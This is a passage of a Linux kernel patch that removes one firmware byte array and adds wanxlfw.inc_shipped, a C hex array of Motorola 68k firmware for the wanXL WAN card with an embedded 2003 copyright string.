-0x00,0xC4,0x24,0x3A,0x04,0x84,0x4C,0x3C,0x20,0x00,0x00,0x00,0x00,0x0C,0xD4,0xBA, -0xFA,0xF4,0x0C,0xB0,0x00,0x00,0x00,0x00,0x29,0x90,0x66,0x00,0x00,0x96,0x21,0x83, -0x29,0xA0,0x00,0x08,0x20,0x70,0x19,0xA0,0x00,0x04,0x22,0x70,0x29,0xA0,0x00,0x04, -0x4A,0x89,0x67,0x00,0x00,0x2A,0x56,0x83,0x02,0x83,0xFF,0xFF,0xFF,0xFC,0x23,0xC8, -0xFF,0xF9,0x01,0x1C,0x23,0xC9,0xFF,0xF9,0x01,0x18,0x23,0xC3,0xFF,0xF9,0x01,0x20, -0x23,0xFC,0x00,0x00,0x03,0x01,0xFF,0xF9,0x01,0x28,0x61,0x00,0x01,0x2C,0x21,0xB0, -0x09,0xB0,0x00,0x00,0x18,0xC2,0x29,0x90,0x08,0xC6,0x00,0x04,0x24,0x3A,0x04,0x1A, -0x52,0x82,0x0C,0x82,0x00,0x00,0x00,0x28,0x66,0x00,0x00,0x04,0x42,0x82,0x23,0xC2, -0x00,0x00,0x19,0x98,0x02,0x70,0xF0,0x00,0x19,0x90,0x08,0xF0,0x00,0x1F,0x19,0x90, -0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x88,0x52,0x81,0x0C,0x81,0x00,0x00,0x00,0x1E, -0x66,0x00,0x00,0x04,0x42,0x81,0x21,0x81,0x09,0xB0,0x00,0x00,0x19,0x88,0x60,0x00, -0xFE,0xF8,0x24,0x30,0x09,0xB0,0x00,0x00,0x10,0x04,0x52,0xB0,0x29,0xA0,0x00,0x08, -0x60,0x00,0xFF,0xC2,0x24,0x30,0x09,0xB0,0x00,0x00,0x10,0x04,0x52,0xB0,0x29,0xA0, -0x00,0x0C,0x60,0x00,0xFF,0xB0,0x4E,0x75,0x4A,0xB0,0x09,0xB0,0x00,0x00,0x19,0x78, -0x67,0x00,0x00,0x86,0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x58,0x24,0x01,0xE7,0x89, -0xD2,0xB0,0x09,0xB0,0x00,0x00,0x18,0x72,0x36,0x30,0x19,0x90,0x08,0x03,0x00,0x0F, -0x66,0x00,0x00,0x66,0x8C,0xB0,0x09,0xB0,0x00,0x00,0x18,0xA2,0x53,0xB0,0x09,0xB0, -0x00,0x00,0x19,0x78,0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x58,0x52,0x81,0x0C,0x81, -0x00,0x00,0x00,0x0A,0x66,0x00,0x00,0x04,0x42,0x81,0x21,0x81,0x09,0xB0,0x00,0x00, -0x19,0x58,0x4C,0x3C,0x20,0x00,0x00,0x00,0x00,0x0C,0xD4,0xB0,0x09,0xB0,0x00,0x00, -0x10,0x04,0x06,0x82,0x00,0x00,0x00,0x1C,0x08,0x03,0x00,0x01,0x66,0x00,0x00,0x0E, -0x21,0xBC,0x00,0x00,0x00,0x20,0x29,0x90,0x60,0x00,0xFF,0x7E,0x21,0xBC,0x00,0x00, -0x00,0x30,0x29,0x90,0x60,0x00,0xFF,0x72,0x4E,0x75,0x2F,0x00,0x40,0xE7,0x20,0x39, -0xFF,0xF9,0x01,0x28,0x08,0x00,0x00,0x04,0x66,0x00,0x00,0x2C,0x4E,0x72,0x22,0x00, -0x46,0xFC,0x27,0x00,0x60,0x00,0xFF,0xE8,0x2F,0x00,0x40,0xE7,0x20,0x39,0xFF,0xF9, -0x01,0x28,0x08,0x00,0x00,0x0C,0x66,0x00,0x00,0x0E,0x4E,0x72,0x22,0x00,0x46,0xFC, -0x27,0x00,0x60,0x00,0xFF,0xE8,0x46,0xDF,0x20,0x1F,0x4E,0x75,0x2F,0x00,0x20,0x39, -0xFF,0xF9,0x00,0xE0,0x23,0xC0,0xFF,0xF9,0x00,0xE0,0x81,0xB9,0x00,0x00,0x19,0x54, -0x23,0xFC,0x00,0x00,0x09,0x09,0xFF,0xF9,0x01,0x28,0x20,0x1F,0x4E,0x73,0x00,0xB9, -0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x10,0x00,0xB9,0x00,0x00,0x10,0x00,0x00,0x00, -0x19,0x54,0x23,0xFC,0x40,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x00,0xB9, -0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x30,0x00,0xB9,0x00,0x00,0x20,0x00,0x00,0x00, -0x19,0x54,0x23,0xFC,0x20,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x00,0xB9, -0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x50,0x00,0xB9,0x00,0x00,0x40,0x00,0x00,0x00, -0x19,0x54,0x23,0xFC,0x10,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x00,0xB9, -0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x70,0x00,0xB9,0x00,0x00,0x80,0x00,0x00,0x00, -0x19,0x54,0x23,0xFC,0x08,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x4E,0x73, -0x2F,0x00,0x2F,0x01,0x2F,0x02,0x2F,0x08,0x2F,0x09,0x42,0x80,0x20,0x7C,0xFF,0xFB, -0x00,0x00,0x32,0x10,0x02,0x81,0x00,0x00,0x00,0xE7,0x0C,0x41,0x00,0x42,0x66,0x00, -0x00,0x0A,0x32,0x3C,0x0E,0x08,0x60,0x00,0x00,0x3E,0x0C,0x41,0x00,0x63,0x66,0x00, -0x00,0x0A,0x32,0x3C,0x04,0x08,0x60,0x00,0x00,0x2E,0x0C,0x41,0x00,0x84,0x66,0x00, -0x00,0x0A,0x32,0x3C,0x02,0x08,0x60,0x00,0x00,0x1E,0x0C,0x41,0x00,0xA5,0x66,0x00, -0x00,0x0A,0x32,0x3C,0x0D,0x08,0x60,0x00,0x00,0x0E,0x32,0x3C,0x00,0x08,0x34,0x3C, -0x80,0xE7,0x60,0x00,0x00,0x14,0x34,0x30,0x09,0xB0,0x00,0x00,0x19,0xAA,0x02,0x42, -0x30,0x00,0x82,0x42,0x34,0x3C,0x80,0xFF,0xB2,0x70,0x09,0xB0,0x00,0x00,0x19,0xAC, -0x67,0x00,0x00,0x0C,0x31,0x81,0x09,0xB0,0x00,0x00,0x19,0xAC,0x30,0x81,0x32,0x39, -0xFF,0xFC,0x15,0x66,0xC2,0x70,0x09,0xB0,0x00,0x00,0x19,0x02,0x67,0x00,0x00,0x0C, -0x32,0x10,0x02,0x41,0xFF,0xF7,0x60,0x00,0x00,0x08,0x32,0x10,0x00,0x41,0x00,0x08, -0xC2,0x42,0x22,0x70,0x09,0xB0,0x00,0x00,0x10,0x04,0xB2,0xA9,0x00,0x04,0x67,0x00, -0x00,0x12,0x23,0x41,0x00,0x04,0x23,0xF0,0x09,0xB0,0x00,0x00,0x18,0xB2,0xFF,0xF9, -0x00,0xE4,0x54,0x88,0x58,0x80,0x0C,0x80,0x00,0x00,0x00,0x10,0x66,0x00,0xFF,0x34, -0x22,0x5F,0x20,0x5F,0x24,0x1F,0x22,0x1F,0x20,0x1F,0x4E,0x75,0x61,0x00,0xFF,0x12, -0x4E,0x73,0xFF,0xFC,0x16,0x00,0xFF,0xFC,0x16,0x20,0xFF,0xFC,0x16,0x40,0xFF,0xFC, -0x16,0x60,0xFF,0xFC,0x0C,0x00,0xFF,0xFC,0x0D,0x00,0xFF,0xFC,0x0E,0x00,0xFF,0xFC, -0x0F,0x00,0xFF,0xFC,0x00,0x00,0xFF,0xFC,0x01,0x40,0xFF,0xFC,0x02,0x80,0xFF,0xFC, -0x03,0xC0,0xFF,0xFC,0x00,0x50,0xFF,0xFC,0x01,0x90,0xFF,0xFC,0x02,0xD0,0xFF,0xFC, -0x04,0x10,0x00,0x00,0x40,0x00,0x00,0x01,0x2F,0x60,0x00,0x02,0x1E,0xC0,0x00,0x03, -0x0E,0x20,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x04,0x00,0x00, -0x00,0x08,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x80,0x00,0x00, -0x01,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x12,0x00,0x00, -0x00,0x13,0x00,0x00,0x00,0x2C,0x00,0x00,0x3E,0x00,0x00,0x2C,0x00,0x00,0x3E,0x00, -0x00,0x00,0x00,0x00,0x00,0x2D,0x00,0x00,0x3F,0x00,0x00,0x2D,0x00,0x00,0x3F,0x00, -0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0xFF,0x00,0x00,0xFF,0x00,0x00,0xFF,0x00, -0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x80,0x00,0x00,0x02,0x00,0x00,0x00,0x08,0x00, -0x77,0x61,0x6E,0x58,0x4C,0x20,0x66,0x69,0x72,0x6D,0x77,0x61,0x72,0x65,0x0A,0x43, -0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0x28,0x43,0x29,0x20,0x32,0x30,0x30, -0x33,0x20,0x4B,0x72,0x7A,0x79,0x73,0x7A,0x74,0x6F,0x66,0x20,0x48,0x61,0x6C,0x61, -0x73,0x61,0x20,0x3C,0x6B,0x68,0x63,0x40,0x70,0x6D,0x2E,0x77,0x61,0x77,0x2E,0x70, -0x6C,0x3E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 -}; --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ linux-2.6/drivers/net/wan/wanxlfw.inc_shipped 28 May 2004 12:50:05 -0000 @@ -0,0 +1,158 @@ +static u8 firmware[]={ +0x60,0x00,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0xB9,0x40,0x00,0x00,0x00,0x00,0x00, +0x10,0x14,0x42,0x80,0x4A,0xB0,0x09,0xB0,0x00,0x00,0x10,0x04,0x67,0x00,0x00,0x0E, +0x06,0xB0,0x40,0x00,0x00,0x00,0x09,0xB0,0x00,0x00,0x10,0x04,0x58,0x80,0x0C,0x80, +0x00,0x00,0x00,0x10,0x66,0x00,0xFF,0xDE,0x21,0xFC,0x00,0x00,0x16,0xBC,0x00,0x6C, +0x21,0xFC,0x00,0x00,0x17,0x5E,0x01,0x00,0x21,0xFC,0x00,0x00,0x16,0xDE,0x01,0x78, +0x21,0xFC,0x00,0x00,0x16,0xFE,0x01,0x74,0x21,0xFC,0x00,0x00,0x17,0x1E,0x01,0x70, +0x21,0xFC,0x00,0x00,0x17,0x3E,0x01,0x6C,0x21,0xFC,0x00,0x00,0x18,0x4C,0x02,0x00, +0x23,0xFC,0x78,0x00,0x00,0x00,0xFF,0xFC,0x15,0x48,0x33,0xFC,0x04,0x80,0xFF,0xFC, +0x10,0x26,0x33,0xFC,0x01,0x10,0xFF,0xFC,0x10,0x2A,0x23,0xFC,0x00,0xD4,0x9F,0x40, +0xFF,0xFC,0x15,0x40,0x23,0xFC,0x00,0x00,0x05,0x43,0xFF,0xF9,0x01,0x00,0x23,0xFC, +0x00,0x00,0x05,0x43,0xFF,0xF9,0x01,0x14,0x23,0xFC,0x00,0x00,0x00,0x00,0xFF,0xF9, +0x01,0x10,0x23,0xFC,0x00,0x00,0x00,0x08,0xFF,0xF9,0x01,0x24,0x23,0xFC,0x00,0x00, +0x01,0x01,0xFF,0xF9,0x01,0x28,0x00,0xB9,0x00,0x0F,0x03,0x00,0xFF,0xF9,0x00,0xE8, +0x23,0xFC,0x00,0x00,0x00,0x01,0xFF,0xF9,0x00,0xD4,0x61,0x00,0x06,0x74,0x33,0xFC, +0xFF,0xFF,0xFF,0xFC,0x15,0x52,0x42,0x79,0xFF,0xFC,0x15,0x50,0x42,0x79,0xFF,0xFC, +0x15,0x64,0x2E,0x3A,0x08,0x50,0x42,0xB9,0x00,0x00,0x19,0x54,0x4A,0x87,0x66,0x00, +0x00,0x0E,0x4E,0x72,0x22,0x00,0x46,0xFC,0x27,0x00,0x60,0x00,0xFF,0xE6,0x42,0x80, +0x42,0x86,0x08,0x07,0x00,0x04,0x67,0x00,0x00,0x0A,0x08,0x87,0x00,0x00,0x61,0x00, +0x02,0xA0,0x08,0x07,0x00,0x00,0x67,0x00,0x00,0x06,0x61,0x00,0x00,0x36,0x08,0x07, +0x00,0x08,0x67,0x00,0x00,0x06,0x61,0x00,0x02,0xB8,0x08,0x07,0x00,0x0C,0x67,0x00, +0x00,0x0A,0x61,0x00,0x04,0x94,0x61,0x00,0x03,0x60,0xE2,0x8F,0x58,0x80,0x0C,0x80, +0x00,0x00,0x00,0x10,0x66,0x00,0xFF,0xBC,0x23,0xC6,0xFF,0xF9,0x00,0xE4,0x60,0x00, +0xFF,0x92,0x20,0x70,0x09,0xB0,0x00,0x00,0x10,0x04,0x4A,0xA8,0x00,0x00,0x66,0x00, +0x02,0x4E,0x21,0x7C,0x00,0x00,0x00,0x01,0x00,0x00,0x42,0xB0,0x09,0xB0,0x00,0x00, +0x19,0x58,0x42,0xB0,0x09,0xB0,0x00,0x00,0x19,0x68,0x42,0xB0,0x09,0xB0,0x00,0x00, +0x19,0x78,0x42,0xB0,0x09,0xB0,0x00,0x00,0x19,0x88,0x22,0x39,0xFF,0xFC,0x16,0xEC, +0xC2,0xB0,0x09,0xB0,0x00,0x00,0x18,0xF2,0x0C,0xA8,0x00,0x00,0x00,0x04,0x00,0x18, +0x66,0x00,0x00,0x0E,0x82,0xB0,0x09,0xB0,0x00,0x00,0x18,0xE2,0x60,0x00,0x00,0x0A, +0x82,0xB0,0x09,0xB0,0x00,0x00,0x18,0xD2,0x23,0xC1,0xFF,0xFC,0x16,0xEC,0x00,0x70, +0x10,0x00,0x09,0xB0,0x00,0x00,0x19,0xAA,0x61,0x00,0x05,0x76,0x22,0x30,0x09,0xB0, +0x00,0x00,0x18,0x92,0x22,0x70,0x09,0xB0,0x00,0x00,0x18,0x72,0x74,0x08,0x26,0x3C, +0x18,0x00,0x00,0x00,0x0C,0xA8,0x00,0x00,0x00,0x01,0x00,0x10,0x67,0x00,0x00,0x06, +0x08,0xC3,0x00,0x1A,0x22,0xC3,0x22,0xC1,0x06,0x81,0x00,0x00,0x05,0xFC,0x51,0xCA, +0xFF,0xF4,0x08,0xC3,0x00,0x1D,0x22,0xC3,0x22,0xC1,0x74,0x1C,0x22,0xFC,0x90,0x00, +0x00,0x00,0x22,0xC1,0x06,0x81,0x00,0x00,0x05,0xFC,0x51,0xCA,0xFF,0xF0,0x22,0xFC, +0xB0,0x00,0x00,0x00,0x22,0xC1,0x22,0x70,0x09,0xB0,0x00,0x00,0x18,0x62,0x24,0x70, +0x09,0xB0,0x00,0x00,0x18,0x52,0x25,0x7C,0x00,0x00,0xFF,0xFF,0x00,0x10,0x25,0x7C, +0x00,0x00,0x00,0x00,0x00,0x14,0x22,0x30,0x09,0xB0,0x00,0x00,0x18,0x72,0x33,0x41, +0x00,0x02,0x06,0x81,0x00,0x00,0x00,0x50,0x33,0x41,0x00,0x00,0x13,0x7C,0x00,0x08, +0x00,0x04,0x13,0x7C,0x00,0x08,0x00,0x05,0x0C,0xA8,0x00,0x00,0x00,0x05,0x00,0x10, +0x66,0x00,0x00,0x2A,0x42,0x6A,0x00,0x08,0x23,0x7C,0x00,0x00,0xF0,0xB8,0x00,0x34, +0x23,0x7C,0x00,0x00,0xFF,0xFF,0x00,0x38,0x33,0x7C,0x05,0xFA,0x00,0x46,0x31,0xBC, +0x00,0x02,0x09,0xB0,0x00,0x00,0x19,0x9C,0x60,0x00,0x00,0xBC,0x0C,0xA8,0x00,0x00, +0x00,0x07,0x00,0x10,0x66,0x00,0x00,0x2C,0x35,0x7C,0x08,0x00,0x00,0x08,0x23,0x7C, +0xDE,0xBB,0x20,0xE3,0x00,0x34,0x23,0x7C,0xFF,0xFF,0xFF,0xFF,0x00,0x38,0x33,0x7C, +0x05,0xFC,0x00,0x46,0x31,0xBC,0x00,0x04,0x09,0xB0,0x00,0x00,0x19,0x9C,0x60,0x00, +0x00,0x86,0x0C,0xA8,0x00,0x00,0x00,0x04,0x00,0x10,0x66,0x00,0x00,0x26,0x42,0x6A, +0x00,0x08,0x23,0x7C,0x00,0x00,0xF0,0xB8,0x00,0x34,0x42,0xA9,0x00,0x38,0x33,0x7C, +0x05,0xFA,0x00,0x46,0x31,0xBC,0x00,0x02,0x09,0xB0,0x00,0x00,0x19,0x9C,0x60,0x00, +0x00,0x56,0x0C,0xA8,0x00,0x00,0x00,0x06,0x00,0x10,0x66,0x00,0x00,0x28,0x35,0x7C, +0x08,0x00,0x00,0x08,0x23,0x7C,0xDE,0xBB,0x20,0xE3,0x00,0x34,0x42,0xA9,0x00,0x38, +0x33,0x7C,0x05,0xFC,0x00,0x46,0x31,0xBC,0x00,0x04,0x09,0xB0,0x00,0x00,0x19,0x9C, +0x60,0x00,0x00,0x24,0x42,0x6A,0x00,0x08,0x23,0x7C,0x00,0x00,0xF0,0xB8,0x00,0x34, +0x23,0x7C,0x00,0x00,0xFF,0xFF,0x00,0x38,0x33,0x7C,0x05,0xF8,0x00,0x46,0x42,0x70, +0x09,0xB0,0x00,0x00,0x19,0x9C,0x25,0x7C,0x00,0x00,0x00,0x03,0x00,0x04,0x0C,0xA8, +0x00,0x00,0x00,0x02,0x00,0x14,0x66,0x00,0x00,0x0E,0x25,0x7C,0x10,0x04,0x09,0x00, +0x00,0x00,0x60,0x00,0x00,0x0A,0x25,0x7C,0x10,0x04,0x00,0x00,0x00,0x00,0x33,0x7C, +0x05,0xFC,0x00,0x06,0x22,0x00,0xE9,0x89,0x00,0x81,0x00,0x00,0x00,0x01,0x33,0xC1, +0xFF,0xFC,0x15,0xC0,0x08,0x39,0x00,0x00,0xFF,0xFC,0x15,0xC0,0x66,0x00,0xFF,0xF6, +0x35,0x7C,0x00,0x1F,0x00,0x14,0x00,0xAA,0x00,0x00,0x00,0x30,0x00,0x00,0x4E,0x75, +0x20,0x70,0x09,0xB0,0x00,0x00,0x18,0x52,0x42,0x68,0x00,0x14,0x02,0xA8,0xFF,0xFF, +0xFF,0xCF,0x00,0x00,0x02,0x70,0xEF,0xFF,0x09,0xB0,0x00,0x00,0x19,0xAA,0x61,0x00, +0x03,0x70,0x22,0x30,0x09,0xB0,0x00,0x00,0x10,0x04,0x42,0xB0,0x19,0x90,0x4E,0x75, +0x0C,0xB0,0x00,0x00,0x00,0x0A,0x09,0xB0,0x00,0x00,0x19,0x78,0x67,0x00,0x00,0xA8, +0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x68,0x24,0x01,0x4C,0x3C,0x20,0x00,0x00,0x00, +0x00,0x0C,0xD4,0xB0,0x09,0xB0,0x00,0x00,0x10,0x04,0x06,0x82,0x00,0x00,0x00,0x1C, +0x0C,0xB0,0x00,0x00,0x00,0x10,0x29,0x90,0x66,0x00,0x00,0x7C,0x20,0x70,0x29,0xA0, +0x00,0x04,0xE7,0x89,0xD2,0xB0,0x09,0xB0,0x00,0x00,0x18,0x72,0x22,0x70,0x19,0xA0, +0x00,0x04,0x24,0x30,0x29,0xA0,0x00,0x08,0x31,0x82,0x19,0xA0,0x00,0x02,0x56,0x82, +0x02,0x82,0xFF,0xFF,0xFF,0xFC,0x23,0xC8,0xFF,0xF9,0x01,0x04,0x23,0xC9,0xFF,0xF9, +0x01,0x08,0x23,0xC2,0xFF,0xF9,0x01,0x0C,0x23,0xFC,0x00,0x00,0x01,0x03,0xFF,0xF9, +0x01,0x28,0x61,0x00,0x01,0xF6,0x08,0xF0,0x00,0x1F,0x19,0x90,0x22,0x30,0x09,0xB0, +0x00,0x00,0x19,0x68,0x52,0x81,0x0C,0x81,0x00,0x00,0x00,0x0A,0x66,0x00,0x00,0x04, +0x42,0x81,0x21,0x81,0x09,0xB0,0x00,0x00,0x19,0x68,0x52,0xB0,0x09,0xB0,0x00,0x00, +0x19,0x78,0x60,0x00,0xFF,0x4C,0x4E,0x75,0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x88, +0xE7,0x89,0xD2,0xB0,0x09,0xB0,0x00,0x00,0x18,0x82,0x34,0x30,0x19,0x90,0x08,0x02, +0x00,0x0F,0x66,0x00,0x01,0x12,0x08,0x02,0x00,0x01,0x66,0x00,0x00,0xE6,0x4A,0x70, +0x09,0xB0,0x00,0x00,0x19,0x9C,0x66,0x00,0x00,0x06,0x08,0x82,0x00,0x02,0x02,0x42, +0x0C,0xBC,0x0C,0x42,0x0C,0x00,0x66,0x00,0x00,0xDC,0x42,0x83,0x36,0x30,0x19,0xA0, +0x00,0x02,0x96,0x70,0x09,0xB0,0x00,0x00,0x19,0x9C,0x0C,0x43,0x05,0xF8,0x6E,0x00, +0x00,0xC4,0x24,0x3A,0x04,0x84,0x4C,0x3C,0x20,0x00,0x00,0x00,0x00,0x0C,0xD4,0xBA, +0xFA,0xF4,0x0C,0xB0,0x00,0x00,0x00,0x00,0x29,0x90,0x66,0x00,0x00,0x96,0x21,0x83, +0x29,0xA0,0x00,0x08,0x20,0x70,0x19,0xA0,0x00,0x04,0x22,0x70,0x29,0xA0,0x00,0x04, +0x4A,0x89,0x67,0x00,0x00,0x2A,0x56,0x83,0x02,0x83,0xFF,0xFF,0xFF,0xFC,0x23,0xC8, +0xFF,0xF9,0x01,0x1C,0x23,0xC9,0xFF,0xF9,0x01,0x18,0x23,0xC3,0xFF,0xF9,0x01,0x20, +0x23,0xFC,0x00,0x00,0x03,0x01,0xFF,0xF9,0x01,0x28,0x61,0x00,0x01,0x2C,0x21,0xB0, +0x09,0xB0,0x00,0x00,0x18,0xC2,0x29,0x90,0x08,0xC6,0x00,0x04,0x24,0x3A,0x04,0x1A, +0x52,0x82,0x0C,0x82,0x00,0x00,0x00,0x28,0x66,0x00,0x00,0x04,0x42,0x82,0x23,0xC2, +0x00,0x00,0x19,0x98,0x02,0x70,0xF0,0x00,0x19,0x90,0x08,0xF0,0x00,0x1F,0x19,0x90, +0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x88,0x52,0x81,0x0C,0x81,0x00,0x00,0x00,0x1E, +0x66,0x00,0x00,0x04,0x42,0x81,0x21,0x81,0x09,0xB0,0x00,0x00,0x19,0x88,0x60,0x00, +0xFE,0xF8,0x24,0x30,0x09,0xB0,0x00,0x00,0x10,0x04,0x52,0xB0,0x29,0xA0,0x00,0x08, +0x60,0x00,0xFF,0xC2,0x24,0x30,0x09,0xB0,0x00,0x00,0x10,0x04,0x52,0xB0,0x29,0xA0, +0x00,0x0C,0x60,0x00,0xFF,0xB0,0x4E,0x75,0x4A,0xB0,0x09,0xB0,0x00,0x00,0x19,0x78, +0x67,0x00,0x00,0x86,0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x58,0x24,0x01,0xE7,0x89, +0xD2,0xB0,0x09,0xB0,0x00,0x00,0x18,0x72,0x36,0x30,0x19,0x90,0x08,0x03,0x00,0x0F, +0x66,0x00,0x00,0x66,0x8C,0xB0,0x09,0xB0,0x00,0x00,0x18,0xA2,0x53,0xB0,0x09,0xB0, +0x00,0x00,0x19,0x78,0x22,0x30,0x09,0xB0,0x00,0x00,0x19,0x58,0x52,0x81,0x0C,0x81, +0x00,0x00,0x00,0x0A,0x66,0x00,0x00,0x04,0x42,0x81,0x21,0x81,0x09,0xB0,0x00,0x00, +0x19,0x58,0x4C,0x3C,0x20,0x00,0x00,0x00,0x00,0x0C,0xD4,0xB0,0x09,0xB0,0x00,0x00, +0x10,0x04,0x06,0x82,0x00,0x00,0x00,0x1C,0x08,0x03,0x00,0x01,0x66,0x00,0x00,0x0E, +0x21,0xBC,0x00,0x00,0x00,0x20,0x29,0x90,0x60,0x00,0xFF,0x7E,0x21,0xBC,0x00,0x00, +0x00,0x30,0x29,0x90,0x60,0x00,0xFF,0x72,0x4E,0x75,0x2F,0x00,0x40,0xE7,0x20,0x39, +0xFF,0xF9,0x01,0x28,0x08,0x00,0x00,0x04,0x66,0x00,0x00,0x2C,0x4E,0x72,0x22,0x00, +0x46,0xFC,0x27,0x00,0x60,0x00,0xFF,0xE8,0x2F,0x00,0x40,0xE7,0x20,0x39,0xFF,0xF9, +0x01,0x28,0x08,0x00,0x00,0x0C,0x66,0x00,0x00,0x0E,0x4E,0x72,0x22,0x00,0x46,0xFC, +0x27,0x00,0x60,0x00,0xFF,0xE8,0x46,0xDF,0x20,0x1F,0x4E,0x75,0x2F,0x00,0x20,0x39, +0xFF,0xF9,0x00,0xE0,0x23,0xC0,0xFF,0xF9,0x00,0xE0,0x81,0xB9,0x00,0x00,0x19,0x54, +0x23,0xFC,0x00,0x00,0x09,0x09,0xFF,0xF9,0x01,0x28,0x20,0x1F,0x4E,0x73,0x00,0xB9, +0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x10,0x00,0xB9,0x00,0x00,0x10,0x00,0x00,0x00, +0x19,0x54,0x23,0xFC,0x40,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x00,0xB9, +0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x30,0x00,0xB9,0x00,0x00,0x20,0x00,0x00,0x00, +0x19,0x54,0x23,0xFC,0x20,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x00,0xB9, +0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x50,0x00,0xB9,0x00,0x00,0x40,0x00,0x00,0x00, +0x19,0x54,0x23,0xFC,0x10,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x00,0xB9, +0x00,0x00,0x00,0x00,0xFF,0xFC,0x16,0x70,0x00,0xB9,0x00,0x00,0x80,0x00,0x00,0x00, +0x19,0x54,0x23,0xFC,0x08,0x00,0x00,0x00,0xFF,0xFC,0x15,0x4C,0x4E,0x73,0x4E,0x73, +0x2F,0x00,0x2F,0x01,0x2F,0x02,0x2F,0x08,0x2F,0x09,0x42,0x80,0x20,0x7C,0xFF,0xFB, +0x00,0x00,0x32,0x10,0x02,0x81,0x00,0x00,0x00,0xE7,0x0C,0x41,0x00,0x42,0x66,0x00, +0x00,0x0A,0x32,0x3C,0x0E,0x08,0x60,0x00,0x00,0x3E,0x0C,0x41,0x00,0x63,0x66,0x00, +0x00,0x0A,0x32,0x3C,0x04,0x08,0x60,0x00,0x00,0x2E,0x0C,0x41,0x00,0x84,0x66,0x00, +0x00,0x0A,0x32,0x3C,0x02,0x08,0x60,0x00,0x00,0x1E,0x0C,0x41,0x00,0xA5,0x66,0x00, +0x00,0x0A,0x32,0x3C,0x0D,0x08,0x60,0x00,0x00,0x0E,0x32,0x3C,0x00,0x08,0x34,0x3C, +0x80,0xE7,0x60,0x00,0x00,0x14,0x34,0x30,0x09,0xB0,0x00,0x00,0x19,0xAA,0x02,0x42, +0x30,0x00,0x82,0x42,0x34,0x3C,0x80,0xFF,0xB2,0x70,0x09,0xB0,0x00,0x00,0x19,0xAC, +0x67,0x00,0x00,0x0C,0x31,0x81,0x09,0xB0,0x00,0x00,0x19,0xAC,0x30,0x81,0x32,0x39, +0xFF,0xFC,0x15,0x66,0xC2,0x70,0x09,0xB0,0x00,0x00,0x19,0x02,0x67,0x00,0x00,0x0C, +0x32,0x10,0x02,0x41,0xFF,0xF7,0x60,0x00,0x00,0x08,0x32,0x10,0x00,0x41,0x00,0x08, +0xC2,0x42,0x22,0x70,0x09,0xB0,0x00,0x00,0x10,0x04,0xB2,0xA9,0x00,0x04,0x67,0x00, +0x00,0x12,0x23,0x41,0x00,0x04,0x23,0xF0,0x09,0xB0,0x00,0x00,0x18,0xB2,0xFF,0xF9, +0x00,0xE4,0x54,0x88,0x58,0x80,0x0C,0x80,0x00,0x00,0x00,0x10,0x66,0x00,0xFF,0x34, +0x22,0x5F,0x20,0x5F,0x24,0x1F,0x22,0x1F,0x20,0x1F,0x4E,0x75,0x61,0x00,0xFF,0x12, +0x4E,0x73,0xFF,0xFC,0x16,0x00,0xFF,0xFC,0x16,0x20,0xFF,0xFC,0x16,0x40,0xFF,0xFC, +0x16,0x60,0xFF,0xFC,0x0C,0x00,0xFF,0xFC,0x0D,0x00,0xFF,0xFC,0x0E,0x00,0xFF,0xFC, +0x0F,0x00,0xFF,0xFC,0x00,0x00,0xFF,0xFC,0x01,0x40,0xFF,0xFC,0x02,0x80,0xFF,0xFC, +0x03,0xC0,0xFF,0xFC,0x00,0x50,0xFF,0xFC,0x01,0x90,0xFF,0xFC,0x02,0xD0,0xFF,0xFC, +0x04,0x10,0x00,0x00,0x40,0x00,0x00,0x01,0x2F,0x60,0x00,0x02,0x1E,0xC0,0x00,0x03, +0x0E,0x20,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x04,0x00,0x00, 